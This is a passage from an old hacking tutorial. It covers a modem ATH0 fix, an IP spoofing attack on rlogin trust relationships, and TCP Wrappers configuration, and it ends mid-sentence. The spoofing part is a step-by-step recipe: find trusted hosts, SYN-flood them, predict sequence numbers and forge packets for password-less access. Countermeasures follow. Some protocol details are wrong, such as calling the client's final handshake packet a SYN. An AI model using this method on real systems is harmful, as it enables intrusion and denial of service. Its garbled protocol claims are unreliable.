Simply Click on: Start > Settings > Control Panel. Then right click on Modems Choose Properties > Configure > Connection > Advanced. Then enter the string in the specified area. ******************* This will make your modem safe from this kind of attack, as it will treat AT commands as data, due to the fact that it will remain in online mode and not switch to command mode. However, some very obsolete modems tend to remain unaffected from the above protection method and thus remain vulnerable. Also, I have heard that there are some Anti-Nuke protection programs, which provide your system protection from ATH0 attacks. Try: www.anticode.com And for complete information and documentation on Hayes Compatible AT commands, visit the following sites: www.modem.com and www.modemhelp.com

IP Spoofing: A Mammoth Description

IP spoofing is the most exciting topic you will hear wannabe hackers talking about. It is also a subject about which no one knows much. Before we continue I would like to tell you that IP Spoofing is quite difficult to understand and a lot of people have trouble understanding how it is done. The other downside it has is the fact that it can almost not be done using a Windows system and a system administrator can easily protect his system from IP spoofing IP Spoofing is a trick played on servers to fool the target computer into thinking that it is receiving data from a source other than you. This in turn basically means to send data to a remote host so that it believes that the data is coming from a computer whose IP address is something other than yours. Let's take an example to make it clear: Let your IP Address be: 203.45.98.01 (REAL) Let the IP Address of the Victim computer be: 202.14.12.1 (VICTIM) Let the IP Address of the system you want data to be sent from: 173.23.45.89 (FAKE) Normally sitting on the computer whose IP is REAL, the datagrams you send to VICTIM will appear to have come from REAL. Now consider a situation in which you want to send data packets to VICTIM and make him believe that they came from a computer whose IP is FAKE i.e.173.23.45.89. This is when you perform IP Spoofing. IP Spoofing thus, can be said to be the process by which you change or rather spoof your IP Address, so as to fool the target system into believing that your identity is not the one, which is actually yours, but make it believe that you actually are the computer having the spoofed address. Let us take a real life example to understand better. Say there are 3 people, A, B and C. You are person B and you wish to fool person A over the phone, into believing that you are person C, when actually you are person B. In order to do so, you might disguise your voice and make it sound more like that of person C, so that person A, might get fooled into believing that he is actually communicating with person C. If you now, replace the three persons in the above example, with a computer and change the term voice to IP Address then you would know what we actually mean by IP Spoofing. Problems faced while performing IP Spoofing One of the reasons as to why IP Spoofing is considered so much tough to perform is the fact that it is blind attack. What we mean by a blind attack is that, we do not get any messages or any feedback regarding our progress. When an attacker is trying to perform IP Spoofing, then, there is no mechanism which tells him, whether he has been successful or not, if yes then by what extent or if no then what when wrong. Thus, he is literally performing the attack blindly, assuming that things went right. Taking the assumptions made earlier, we can explain this problem in the following manner: The main problem with IP Spoofing is that even if you (REAL) are able to send a spoofed datagram to the remote host (VICTIM), making it believe that the datagram came from FAKE, then the remote host (VICTIM) will reply to the spoofed IP Address (FAKE) and not your real IP Address (REAL), thus, as a result, REAL does not get any feedback whatsoever, regarding his progress. The following is the explanation of the blind nature of IP Spoofing, using the concept of the three-way handshake, which has to take place, each time a TCP/IP connection is established. If REAL wants to establish a TCP/IP connection with VICTIM, without spoofing of any IP Address, then typically the three way handshake would take place as follows: 1. 2. REAL sends a SYN packet to VICTIM. VICTIM sends back a SYN/ACK packet to REAL.

3.

REAL acknowledges this by replying with a SYN packet.

However, if REAL wants to spoof his IP Address and make it appear to be FAKE, then the following will take place: 1. 2. REAL sends a SYN packet to VICTIM, but this time with the source address being FAKE. VICTIM sends back a SYN/ACK packet to FAKE. There is no way that REAL can determine when and if VICTIM has actually replied with a SYN/ACK addressed to FAKE. This is the blind part and REAL just has to let some time pass (once it has sent a SYN packet to VICTIM) and assume that by then VICTIM must have sent a SYN/ACK to FAKE. After some time has passed, REAL then has to send a SYN packet to VICTIM acknowledging that FAKE has received the SYN/ACK packet. (Assuming that it indeed has.)

3.

If and only if all the above three steps go as planned, can a TCP/IP connection be established between VICTIM and FAKE, by REAL. However, the third step gives rise to another problem. In the second step in the IP Spoofing handshake we see that VICTIM sends a SYN/ACK packet to FAKE. This gives rise to two scenarios: 1. Let us assume that a system with the IP Address FAKE does indeed exist, then, FAKE would actually receive the SYN/ACK packet, which VICTIM sends to it. However, since FAKE did not request a connection, it would not have any idea whatsoever, as to what this packet is meant for and thus it would reply, by sending a NACK (Non-Acknowledgement) message to VICTIM. *************** HACKING TRUTH: A NACK or a Non-Acknowledgement message is meant for ending the connection, resulting in no further communication between the two systems involved. *************** Thus, VICTIM on receiving this NACK message from FAKE would terminate the connection, which REAL is trying to establish between VICTIM and FAKE (without their knowledge). Thus, REALs attempt to spoof his IP Address would get foiled. IP Spoofing can be successful only if the computer with the FAKE IP does not reply to the victim and not interrupt the spoofed connection. Take the example of a telephone conversation; you (B) can call up a person ' A ' and pretend to be ' C ' as long as ' C ' does not interrupt the conversation and give the game away. 2. Let us assume that a system with the IP Address FAKE does not exist, then, VICTIM will not receive any ACK message from FAKE for the SYN/ACK that it sent to it. Thus, a timed out would take place and VICTIM would end the connection with FAKE, thus foiling REALs attempt to spoof his IP Address. Thus, the above explanation brings us to the following conclusions: 1. IP Spoofing is a blind attack and we do not get any feedback regarding our progress and thus we have no idea as to whether we have been successful or not. The fake packets that we send to the target system, pretending to be a FAKE host have to be sent on certain assumptions and after correct intervals of time. If REAL wants to spoof his IP Address and make it seem to be FAKE, then the following conditions must be true: a) FAKE must exist and must be connected to the Internet.

2.

b) FAKE must not at any point respond to the SYN/ACK packet, which VICTIM sends to it. This is where a popular DOS Attack, SYN Flooding comes in. (Explained later) c) If you are exploiting a trust relationship, then FAKE must be chosen such that VICTIM and FAKE have a trust relationship with each other. Before we actually move onto a step-by-step guide to using IP Spoofing to exploit trust relationships, we need to understand certain concepts involved in IP Spoofing. Networking Basics involved in IP Spoofing Sequence Numbers are the reason why the destination system is able to put back the smaller chunks of data that it receives from the source system, into a larger chunk. All data being transferred on the net is broken down into smaller packets at the source and joined together at the destination. The data is broken down into packets in a particular sequence at the source. This means that, for example, the first byte has the first sequence number and the second byte the second sequence number and so on. Packets are free to travel independently on the net, thus sometimes, when the data packets reach the destination they arrive out of sequence. This means that sometimes the packet of data having the sequence number 4 arrives before the data packet having a sequence number of 3. The sequence numbers of the packets help the destination system to put back the data packets received, in the correct order. The application or the layer running at the destination automatically builds up the large chunks of data by reassembling the smaller chunks in the correct order, with the help of sequence numbers. Sequence numbers not only help in the reassembly of packets at the destination system, but also ensure that TCP remains a reliable protocol, which can deal with lost, duplicated and unordered packets. The following is a typical TCP Header of a data packet being sent by the host to the client: ----------------------------------------------------------------| Source Port | Destination Port | ----------------------------------------------------------------| Sequence Number | ----------------------------------------------------------------| Acknowledgment Number | ----------------------------------------------------------------| Data | |U|A|P|R|S|F| | | Offset | Reserved |R |C|S|S|Y|I | Window | | | |G|K|H|T|N|N| | ----------------------------------------------------------------| Checksum | Urgent Pointer | ----------------------------------------------------------------| The Actual Data follows | | | NOTE: In the following paragraphs we assume that the fields and values being talked about belong to a packet being sent by a host to a client. The Sequence number field in the TCP header contains the sequence number of the data packet being carried currently. Each packet being sent across the Internet is sequenced. There are certain things about sequence numbers, which one must be well conversed with. They are all discussed in the succeeding paragraphs. A sequence number is a 32-bit number and it can range from 1 to 4,294,967,295. How does a host decide as to what sequence number, should be assigned to a particular connection? This question introduces us to yet another new term i.e. The Initial Sequence Number or ISN.

The Initial Sequence Number or the ISN is the first (initial) sequence number given to a host at the time when the system is being bootstrapped. At bootstrapping time, the ISN is assigned a value of 1. Whenever a host establishes a connection, then the value of its ISN at that particular point of time is treated as the sequence number of the first fragment being sent to the client with whom the connection is being established. Once a system is assigned an ISN value of 1 at bootstrapping time, then this value keeps increasing automatically and quite predictably with the passage of time, transfer of data and establishment of connections. This Initial Sequence Number gets incremented by 128,000 every second and with every connection being established, it gets incremented by 64, 000. Due to the fact that with the passage of every single second the ISN gets incremented by 128,000, its value gets wrapped every 9.32 hours. (Assuming that no connections are established.) For Example, If the ISN of a host were 1897737287, then after 3 connections and 2 seconds, its ISN would be equal to: 1898185287 = 1897737287+ (3*64 000) + (2*128 000) To recapitulate, we can say that the value of the sequence number in the TCP header would be sequence number of the first byte of data in that particular fragment. One thing to note here is that the sequence number of the first byte of data being sent by the host to the client would be equal to the value of the ISN plus 1. This is because the SYN flag takes up 1 sequence number. This will be clearer after the sequence numbers and connection establishment section. In the acknowledgement number field too there would be a 32-bit sequence number, however, this sequence number is not of the host but of the client. (Please note that we have assumed that this packet was sent to the client by the host) What we mean to say is that the sequence number in the acknowledgement number field actually represents the value of the next sequence number (i.e. value of the next sequence number of data) that the host expects the client to sent. This number also acknowledges that all data up to this number minus one has been received safely. Sequence Numbers and Connection Establishment and Termination For a TCP/IP connection to be established, a three-way handshake has to take place between the client and the host. The following are the 3-steps, which would take place for a complete and successful connection to take place between the host and the client-: 1. The client sends a SYN packet to the server, requesting for a connection to be established. This SYN packet would contain the clients ISN. Let us assume it to be 4894305. As the client still does not know the sequence number of the host and as it does not have to acknowledge any received data, it sets the Acknowledgement Number field to 0. This packet would also contain other information like the destination address, port number etc. The host on receiving this packet would respond with a SYN/ACK packet. This packet would contain the servers ISN. Let us assume it to be 1896955367. It would also contain in the acknowledgement number, a sequence number, which signifies the next, expected sequence of data and acknowledges the receipt of the earlier data. The value of this acknowledgement number is always the clients ISN plus one. Thus, in our case its value would be 4894305+1=4894306. The client then replies with an ACK packet. The ACK number field would now be, the servers ISN plus one, which is equal to 1896955368.

2.

3.

One can represent this diagrammatically as below:

Client---------------SYN (4894305)---------------- Host Host-----------------SYN (1896955367) and ACK (4894306)--------- Client Client---------------ACK (1896955368)---------- Host Above we described the establishment of a TCP/IP connection with relation to sequence numbers, now after following the above steps, we suddenly decide to end the connection (continuing with the same values of SYN and ACK sequence numbers) then the following would take place: Client-----------FIN (4894306) and ACK (1896955368)-------------Host Host------------ACK (4894307)--------------------Client Host------------FIN (1896955368) and ACK (4894307)-------Client Client---------------ACK (1896955368)--------------Host A deeper look into Sequence Numbers To better understand the phenomenon of SYN and ACK values, let us perform a test in which first we telnet to port 23 of a remote system and then immediately disconnect from it using the Quit command. Headers of all packets being transferred would be captured using a Sniffer. (Please note that we would be referring to the remote system as Host and our own system as Client) #telnet targetsystem.com 23 On typing the above command, the following transfer of packets takes place:

1. Client ---------------SYN (856779)--------------- Host

The captured frame of this data transfer is given below for your further study (The part in bold represents the Sequence number of the packet.): 20 53 52 43 00 00 44 45 53 54 00 00 08 00 45 00 00 2C C3 00 40 00 20 06 10 0C CB 5E FD BA CB 5E F3 47 04 07 00 17 00 0D 12 CB 00 00 00 00 60 02 20 00 D9 70 00 00 02 04 05 B4 2D Here we see that the client is sending a packet with the SYN option on, which means that it is requesting for a TCP/IP connection to be established. SYN stands for Synchronize sequence numbers In this case the Sequence number of the data packet sent by the client is 856779

2. Host------------SYN (758684758) and ACK (856780)------ Client

The captured frame of this data transfer is given below for your further study (The parts in bold represents the Sequence number and ACK value of the packet.): 44 45 53 54 00 00 20 53 52 43 00 00 08 00 45 00 00 2C 8C 05 40 00 39 06 2E 07 CB 5E F3 47 CB 5E FD BA 00 17 04 07 2D 38 9C 56 00 0D 12 CC 60 12 83 2C AC A4 00 00 02 04 05 B4 Here we see that the host on receiving the request for establishing a TCP/IP connection responds to the request by sending a packet with both the SYN and ACK options turned on. The SYN option is still on, as the host still needs to send its own Sequence number to the client. In our case the Sequence number of the host is 758684758. The host turns the ACK option on and gives it a value, which is equal to the clients initial sequence number plus one. The ACK number acknowledges the data

received till now and represents the next expected sequence number that the host expects to receive. Here the ACK number sent by the host is the clients ISN + 1= 856779 + 1= 856780

3. Client-----------SYN (856780) and ACK (758684759)-------------- Host

The captured frame of this data transfer is given below for your further study (The parts in bold represents the Sequence number and ACK value of the packet.): 20 53 52 43 00 00 44 45 53 54 00 00 08 00 45 00 00 28 C4 00 40 00 20 06 0F 10 CB 5E FD BA CB 5E F3 47 04 07 00 17 00 0D 12 CC 2D 38 9C 57 50 10 22 38 25 56 00 00 In the above captured frame we find that the client replies to the SYN/ACK sent by the host, with a ACK message, which acknowledges the receipt of the data till now and also mentions the sequence of data expected next from the host by the client. In this case the ACK value is equal to the hosts ISN plus one. Thus, ACK value= Hosts ISN + 1= 758684758 + 1= 758684759. One thing to note here is that in step 3, since the client is sending only an ACK message to the host (and not a SYN message), thus the sequence number will not get incremented. The third packet just contains the ACK option turned on, while the SYN option is still turned off. As a result the sequence number does not get incremented. What this means is that the next packet sent by the client to the server too will have the same sequence number, as it did not get incremented. Once the above three steps have been completed, a complete 3-way handshake is said to have taken place and a TCP/IP connection has thus been established between the client and the host. However, in our case, as soon as this is done, we use the Quit command to disconnect from the telnet daemon. On doing this, the following data transfer takes place: 1. Client---------------FIN (856780) and ACK (758684759)------------ Host

The captured frame of this data transfer is given below for your further study (The parts in bold represents the Sequence number and ACK value of the packet.): 20 53 52 43 00 00 44 45 53 54 00 00 08 00 45 00 00 28 C5 00 40 00 20 06 0E 10 CB 5E FD BA CB 5E F3 47 04 07 00 17 00 0D 12 CC 2D 38 9C 57 50 11 22 38 25 55 00 00 Eagle Eyes readers, must have noticed that the hexadecimal values i.e. the values in bold in the above captured frame are same as that in the third step in the connection establishment process. However, the difference lies in the fact that in this case, the packet has the FIN (Finish) and ACK options turned on, while in the third step of the connection establishment process, the packet had the SYN and ACK options turned on. Thus, in this step the client sends a FIN\ACK packet to host. The FIN option tells the host that client wants to terminate the connection that has been established between them. The sequence number of this packet does not change from the third step, as the third step carried only an ACK message, which does not consume any sequence number. Although this particular packet is indeed carrying a FIN message, which does in fact consume a sequence number, however a sequence number of a fragment represents a value, which is applicable at the start of that particular fragment and not the end. Thus, the sequence number consumed by the FIN option would increase the sequence number of the next packet and does not affect the sequence number of this packet. The ACK value of this packet is 758684759, which represents the sequence of the packet expected by client from the host. The ACK value of this message does not change from that of the third step, as no data was received by the client from the host and the client still expects host to send the data sequence 758684759. 2. Host-------------------ACK (856781)----------------------- Client

The captured frame of this data transfer is given below for your further study (The parts in bold represents the Sequence number and ACK value of the packet.):

44 45 53 54 00 00 20 53 52 43 00 00 08 00 45 00 00 28 8F BE 40 00 39 06 2A 52 CB 5E F3 47 CB 5E FD BA 00 17 04 07 2D 38 9C 57 00 0D 12 CD 50 10 83 2C C4 60 00 00 Here the host sends a packet with the ACK option turned on, which confirms the receipt of the data sent by the client to host till now. Here the ACK value is 856781. Also note that the sequence number of this particular is treated as 758684759, which is the same as the next message sent by the host to the client, as this particular message is carrying only an ACK option, which does not consume any sequence number. 3. Host-----------------FIN (758684759) and ACK (856781)---------- Client

The captured frame of this data transfer is given below for your further study (The parts in bold represents the Sequence number and ACK value of the packet.): 44 45 53 54 00 00 20 53 52 43 00 00 08 00 45 00 00 28 8F E0 40 00 39 06 2A 30 CB 5E F3 47 CB 5E FD BA 00 17 04 07 2D 38 9C 57 00 0D 12 CD 50 11 83 2C C4 5F 00 00 In this captured frame, the host sends a FIN\ACK packet to the client, with the sequence number equal to 758684759, which is same as that of the earlier step. Even the ACK number remains the same, as Host still received no data, sent by the client.

4. Client----------------ACK (758684760)------------------- Host

The captured frame of this data transfer is given below for your further study (The parts in bold represents the Sequence number and ACK value of the packet.): 20 53 52 43 00 00 44 45 53 54 00 00 08 00 45 00 00 28 C6 00 40 00 20 06 0D 10 CB 5E FD BA CB 5E F3 47 04 07 00 17 00 0D 12 CD 2D 38 9C 58 50 10 22 38 25 54 00 00 Here the client replies to the hosts FIN/ACK packet by sending an ACK packet, which acknowledges all data received till now and thus the connection gets terminated. Please note that the sequence number of this packet is treated as 856781. Thus, from the above sections we can conclude that the sequence number gets incremented in the following cases and manners: Cases Increment 1 1 0 1 1 128,000 64,000

Transfer of FIN Packet Transfer of SYN Packet Transfer of ACK Packet Transfer of SYN/ACK Packet Transfer of FIN/ACK Packet Passage of 1 second Establishment of 1 connection

If one is able to learn the art of prediction of sequence numbers, then the following could easily be done: 1. 2. Hijacking TCP Connections and diverting data. Exploiting Trust Relationships

Now that we truly understand the increment of sequence numbers and ACK numbers, let us now learn as to how IP Spoofing can be used to exploit trust relationships.

Trust Relationships Everyone is encountered with some form of authentication process or the other. The Username-Password pair is the most commonly used form of authentication, with which we are very much familiar. What happens in the Username-Password form of authentication is that the remote host to which the client is connected to, challenges the client by asking the User to type in the Username and Password. Thus, in this form of authentication, the User needs to intervene and the remote host challenges the user to enter the Username and Password, which act as a form of authentication. Besides the Password-Username form of authentication, there is yet another form of authentication most users do not know of. This is the Trust relationship form of authentication, in which the IP Address of the client system acts as a proof of authenticity. In this form of authentication, what happens is that the remote host gets or finds out the IP address of the client and compares it with a predefined list of IP's who are allowed access. If the IP Address of the client who is trying to establish a connection with the remote host is found in the list of allowed IP's maintained by the host, then it allows the client access to the shell 'without a password' as the identity of the client has already been authenticated. (Using the trust relationship concept.) Such kind of trust relationships are common in Unix Systems which have certain 'R services' like rsh, rlogin, rcp etc which have certain security problems and should be avoided. Despite the threat involved most ISP's still keep the ports of the R services open to be exploited by Hackers. Once can establish a rlogin connection with a remote system by simply using the following Unix shell command: $>rlogin IP address ************** HACKING TRUTH: There is definitely a cooler way of establishing a trust relationship with a remote host, i.e. using Telnet. The default port numbers at which the R services run are 512, 513,514 ************** Thus, this means that if there exists a trust relationship between two systems (i.e. the client and the server), then if you are able to change your IP Address and pretend to be the client, then you could actually authenticate yourself making use of this new, spoofed identity and establish a proper connection with the server. Such a connection, would probably entitle you to all commands and all parts of the server. Thus, we can conclude by saying that if one is able to spoof ones IP Address and use this spoofed identity to exploit trust relationships, then it could have some very serious consequences. Spoofing your IP Address to exploit trust relationships Before we move on to the various steps that we have to perform, in order to spoof our IP Address and in turn exploit trust relationships, it is important to understand that IP Spoofing is extremely difficult to perform and it is also very complex. Hardened networking experts too find it fairly mind-boggling. What really makes it so tough to execute, is the fact that it is a blind attack i.e. one does not get any feedback regarding ones progress and also it is based on a lot of assumptions, which have to be made on the part of the attacker. Thus, one might fail to successfully spoof ones IP Address several times, however, practice makes a man perfect, so keep trying. IP spoofing is definitely very difficult to perform, however, it is not impossible to perform and has certainly been carried out before. The various steps involved in successfully spoofing ones IP Address and in turn exploiting a trust relationship, are as follows: NOTE: Please note that for the following steps, we would be using three systems: a.) The Victim system, which will be referred to as VICTIM or the target system.

b.) The Trusted system, which is capable of establishing a trust relationship with VICTIM. It would be referred to as TRUSTED. c.) The attackers system, which would be referred to as the ATTACKER. 1. Detecting a Trusted System

The first step in exploiting trust relationships is to actually find out as to with which system does the target system enjoy a trust relationship. In this step what is done is nothing but finding out as to which computer does the target system trust and usually establish a trust relationship based on authentication by IP Address, with. In effect, we would want to find out the trusted system, the system that is allowed by the target system to establish a remote trust connection with itself i.e. the system named TRUSTED. The trusted system establishes a trust connection with the target system using what are known as the r services. We can find out as to with system the target system establishes a trust relationship, by using any of the following methods: a.) By using various useful commands like: (This is the most likely method to work.) rpcinfo -p showmount -e b.) Social Engineering: One should try and dig out as much information on the target system and its network as possible. c.) Method of Brute force, in which all systems in the same network are checked for whether or not they are capable of establishing a trust relationship with the target system. However, this method is extremely tedious and slow. Once you have found out the trusted system with which the target system is capable of establishing a trust connection, what one has to do is: DOS attack this trusted computer, so as to render it useless, thus ensuring that it does not interrupt or end our spoofed connection with the target system. 2. Blocking the Trusted System This step is a very important step. As soon as you find the trusted system, your next step is to block it or disable it. If you remember, we had discussed the problems that one faces while trying to perform IP Spoofing. After a long description, we had concluded some necessities for IP Spoofing to take place successfully. Amongst them, one was as follows: FAKE must not at any point respond to the SYN/ACK packet, which VICTIM sends to it Thus, in order to ensure that the above takes place, one has to make sure that the trusted system is blocked i.e. one must make sure that all the memory of the trusted system is used up, so that it is not able to respond to the SYN/ACK packets addressed to it (sent by the VICTIM system.) One very easy method of doing so is to perform a SYN Flooding Denial of Services attack on it. For a detailed description regarding SYN Flooding, read the DOS Attacked!!! Section. Once we have a long queue of SYN Floods on the target system and hog up all the memory available to it, then we can probably be sure that it will not respond to any SYN/ACK packets sent to it by the victim system. Thus, once the blocked system is feeling the affects of the SYN Flood attack, then, we can be assured of being freed of one of the numerous problems faced during the process of performing IP Spoofing. (The problem of the trusted system intervening and ending the spoofed connection.) 3. Getting the Final Sequence Number and Predicting the Succeeding Ones

Once the trusted system has been disabled, the attacker then must get the sequence number of the target system. This is the step, in which the attacker has to make a lot of quick calculations and assumptions. In order to get the target systems sequence number, the attacker connects to Port 23 or Port 25 just immediately before launching the attack and records the Sequence number of the last packet sent by the target system. It is advisable to repeat this step several times and then record and note down the last sequence number of the target system. The attacker must also deduce the Round Trip Time or the RTT using a utility called icmptime. (For more information read the ICMP section.) To get an accurate value of the RTT, one should repeat the process of sending a packet and recording the time, several rimes. ***************** HACKING TRUTH: RTT or Round Trip Time is actually the time taken by a packet to travel from the source to the destination and then back. Thus, the time interval taken by the packet to reach from the source to the destination can be found out by RTT/2. **************** Once the attacker knows the last sequence number of the target system, then on the basis of the above calculated values of RTT, the amount of time passed (between the recording of the last sequence number and the actual execution of the attack) and the other cases when there can be an increment of the sequence number, he could actually predict the next sequence number. To effectively perform this step, the following should be done: 1. Record the RTT or the Route Trip Time and in turn the time taken for a packet to travel from the target system to your system, beforehand itself. So that time is saved during the actual execution of the attack. Once you have logged the last sequence number of the server, then do not waste anytime whatsoever. Calculate the next sequence number as quickly as possible and quickly move onto the actual execution of the attack, because more the time you waste, the greater is the chance of another system on the Internet establishing a connection with the target system, hence increasing its sequence number to a value, which is 64, 000 more than what you might have successfully predicted. Learn the Case-Increment table, given earlier by heart and keep a calculator nearby, before you actually sit down to perform IP Spoofing. Then close your eyes and pray and keep your fingers crossed, hoping that your gray cells work fast enough and well enough!!!

2.

3. 4.

When you are predicting the next sequence number, then ideally your predicted value, should be same as what the target systems next sequence number really is. However, even if the sequence number that you predicted is not that much greater than the actual next sequence number, then, the target system would just queue it up, treating it as a packet for future use. Let us assume that the attacker is actually able to predict the correct next sequence number and move onto the next step that he would have to follow. 4. The Actual Attack Once you have been able to predict the next sequence number, then comes the time of performing the actual attack as follows: 1. The ATTACKER sends a SYN packet with the spoofed IP Address, (which is actually the IP Address of the trust system) to the VICTIM system. This SYN packet is addressed to the

rlogin port (513) and requests for a trust connection to be established between VICTIM and the trusted system. 2. The VICTIM responds to this SYN packet by replying with a SYN/ACK packet addressed to the trusted system. If all the memory of the trusted system had not been hogged up by SYN flooding it, then it would have replied to this SYN/ACK packet with a NACK and the attackers attempt to spoof his IP, would get foiled. However, as in our case the trusted host has been disabled, thus it is not able to respond to this SYN/ACK packet sent by VICTIM. As a result this SYN/ACK packet sent by VICTIM gets discarded. After a certain time (very small amount of time) has passed i.e. when the attacker is sure that VICTIM must have sent a SYN/ACK packet to the trusted system, he sends an ACK to VICTIM. This ACK message is designed such that it has a spoofed address, which actually makes it seem to have come from the trusted system. It is important to make sure that this ACK packet has an acknowledgement number which is the predicted sequence number plus one. Also the sequence number of this packet should be the sequence number of the packet sent by the attacker in Step 1 plus one.

3.

If everything goes as planned and if the attacker guesses the sequence number correctly, then the target system would accept the connection and a trust relationship would be established.

5. Putting the Trusted system out of the spell of the DOS Attack Finally, after the entire attack has been carried out, one has to end the SYN Flood on the trusted system, which can be done by sending packets with the FIN option turned on to the trusted system. Fadias Hot Pick for Sending Custom Designed Packets to a remote system

1. Utility Name: Libnet

Features: Allows the user to send custom made packets. It also gives a very powerful control over various options of the custom made packets. A brilliant tool overall. Download URL: http://www.packetfactory.net/libnet Countermeasures 1. One should try and avoid making use of trust relationships, which rely on IP Address of the client, rather than on a Username-Password pair, as an authentication tool. Thus, try and avoid making use of trust connections, as far as possible. Using TCP Wrappers to allow access only from certain systems has been known to be a good countermeasure. One of the easiest methods to combat IP Spoofing, is by installing a firewall or a filtering rule, which filters out all packets coming from the outside of a network, but having an IP Address belonging to a system within the internal network structure. Also, one should filter outgoing packets that have a source address different from the internal network. This prevents a source IP spoofing attack originating from your network. One could prevent incoming packets, coming from outside of the network, but having a source IP, belong to within the network, by adding the following router ACL:

2.

access-list 101 deny ip 201.94.0.0

0.0.255.255

0.0.0.0

255.255.255.255

This particular ACL is applicable to a network having an internal source address of 201.94.xx.xx. If you are looking at providing your network protection from only source IP Spoofing attacks, which might originate from your network, then the following ACL will do the trick: access-list 101 permit ip 0.0.0.0 255.255.255.255 0.0.0.0 255.255.255.255 3. 4. Using Encrypted and Secure Protocols like IPSec By the Introduction of the use of Random Initial Sequence Numbers, to do away with the predictable nature (increment) of the sequence numbers. One such solution is the use of pseudorandom-number generators (PRNGs). However, PRNGs too sometimes are not up to the mark, when it comes to randomness of sequence numbers selected.

Reference Material: IP Spoofing Demystified By daemon9/route/infinity.

TCP Wrappers Unwrapped

We have already learnt that one good countermeasure against IP Spoofing is to use TCP Wrappers instead of clients IP Address identification as the authentication standard. In this section, we will examine as to how to configure TCP Wrappers to act as a good filtering system and suit our needs. If you are running a Linux box and connect to the net through it, then there is every chance of someone else using or misusing the services running on your system. If someone gets to know your IP, then it does give the attacker an opportunity to be able to use the services or daemons running on various ports of your system for malicious purposes. Thus it has become very important to ensure that you define a access list which controls who all can have access to what services on your system and who all should be blocked or denied access to any of the services on your system. This is where TCP Wrappers are so efficient but easy to use. So What Exactly are TCP Wrappers? TCP Wrappers basically act as efficient tools, which allow us to define a set of rules called the access control rules. These access control rules, control or define as to which hosts or machines are allowed to access and use the services running on the local machine (where the TCP Wrappers are installed and configured) and which hosts or machines are denied access to these services. Thus, they in fact are somewhat (quite remotely) something like Firewalls. They check to see who has requested the connection and if the connection requestor in amongst the deny list then he is not allowed to establish a connection. Besides controlling the access to various services on your system, TCP wrappers also allow you to log and know as to which client is using what service at what time and even for what purpose. The best thing about TCP Wrappers is that they can also be used to set booby traps to catch lamers. Before we move on, we need to first establish a basic understanding of as to how exactly does Linux respond to a connection request. The thing to remember here is that all requests for connections received by a Linux box, are transferred to the Internet Daemon or the 'inetd'. The 'inetd' is the main daemon on a Linux Machine, which receives all connection requests on behalf of all services or daemons running on all the Port Numbers. Once the 'inetd' receives a connection request, it uses 2 configuration files two determine what to do next. These two files are: 1. /etc/services.

2. /etc/inetd.conf. The first file i.e. the /etc/services file contains the names of the various Services and the corresponding port numbers on which these services run. It is basically used by the 'inetd' to figure out as to what service runs on what Port Number. The Second File i.e. the /etc/inetd.conf contains the names of various services and the names of the corresponding daemons or programs providing those services. It is used by 'inetd' to figure out as to which program or daemon to call on, whenever there is a request for a connection to a particular service. Both these files work together and are interlinked. Let us use a real life example, to understand as to how exactly the 'inetd' uses these two files to allow remote connections to take place, read the below paragraph: Let us assume that the server is Y and the client (connection requestor) is X. Now, X sends Y a packet containing the Port Number to which it wants to connect (In this case 23 or the Telnet Port) and other such information required for a TCP connection to start. At Y, the 'inetd' daemon responds to the connection request and looks up the /etc/services file for the service name running on Port 23 (This Port number is mentioned in the packet sent by X). The /etc/services/ responds to 'inetd' saying that the service name running on Port 23 is Telnet. Then, 'inetd' contacts '/etc/inetd.conf' and asks for the name of the daemon or program which runs the telnet service. The '/etc/inetd.conf' file then replies, saying that a daemon called in.telnetd runs the telnet service. Then 'inetd' runs in.telnetd and that is when its job is over and it starts listening for other connection requests. This shows that a remote system doesn't start out by directly communicating with the various daemons, but instead communicates only with the 'inetd' in the beginning. This brings to a question: If we want to restrict some particular hosts from accessing our system and allow only a predefined set of hosts to access our system, they what do we do? This is where TCP Wrappers come to the rescue. A TCP Wrapper acts as a daemon which resides between the main daemon of the Linux system i.e. the 'inetd' and other programs or daemons like in.ftpd, in.telnetd etc. As all connections to the linux box will pass through the inetd, they will also definitely pass through the TCP Wrapper. Thus, if there are certain rules, which are defined by TCP Wrappers, then they indeed can be used to manipulate access control and in effect restrict access to the various services to a specific list of remote hosts. NOTE: Normally, the inetd is configured to call the concerned programs or daemons like telnetd etc. However, once TCP wrappers are installed, then the inetd is configured to call on the Wrapper instead of the concerned daemon. Once the inetd daemon calls on the TCP Wrapper or sends the packet received to the wrapper, the wrapper then collects the source IP from the packet and accordingly allows or denies a connection. Irrespective of whether the connection is allowed or denied, the wrapper enters a log into the system log file. NOTE: In this section, I am assuming that you have been able to install the TCP Wrapper daemon i.e. /usr/sbin/tcpd. For more information on how to install the TCP Wrapper read the Linux Documentation or the man pages. Or visit: www.linuxdoc.com or www.linux.com or www.newbielinux.com How exactly does the TCP Wrapper daemon i.e. /usr/sbin/tcpd decide whether to allow access to a particular host or not? In this aspect, the following two files help the Wrapper: 1. The /etc/hosts.allow 2. The /etc/hosts.deny As soon as the inetd sends the connection request to the Wrapper, tcpd scans the /etc/hosts.allow for a match for the hostname of the connection requestor. If a match is found, then the connection is opened. On

the other hand, if no matches are found, then the system, searches the /etc/hosts.deny file for an entry i.e. the system searches this file for an entry which matches the source IP Address of the received packet. If even then no match is found or even if both the files are empty, then the connection is allowed by the system to be opened. NOTE: By Default both these files are empty, allowing everyone to open connections. The important thing to remember while configuring a tcpd is what level of security do you really want your system to have. Whatever kind of setup you may have, you basically are left out with the following options-: 1. The Not So Secure But Service Providing System: which means that most services are open and most people are allowed access to it. This would be the best option for you, if your system were used as server, which is providing services like mail, FTP, Telnet etc to a number of legitimate users. This way not only can you provide services to legitimate users, but also ensure that unwanted hosts or clients do not get access to the services offered by your server. 2. The Secure But No Service Providing System: This is typically meant for those of you who are very security conscious and for those whose system is not providing services to legitimate users. This ensures that no one misuses your system. The Not So Secure But Service Providing System In this case, as we allow access to almost all services, the /etc/hosts.allow list is practically empty. While the /etc/hosts.deny file contains rules which govern as to which hosts to disallow access. Let us take an example of a typical rule of the /etc/hosts.deny file to understand how exactly rules work. The following is a hosts.deny entry which denies access to the Telnet and FTP services to anyone coming from abc.isp.com and anyone coming from the domain isp.net: in.telnetd in.ftpd : abc.isp.com .isp.net NOTE: The '.' preceding the isp.net tells tcpd to disallow access to the FTP and Telnet daemons to anyone coming from a system in the isp.net domain. If you want to deny access to all services, the above will change to: ALL: abc.isp.com .isp.net In the above example, the 'ALL' wildcard was used to restrict access to all services. Like the ALL wildcard, there are a number of other similar Wildcards, which can be used for access control. Some common ones are: Wildcard LOCAL UNKNOWN KNOWN PARANOID Rule This matches for hostnames coming from the local domain. Matches hosts, 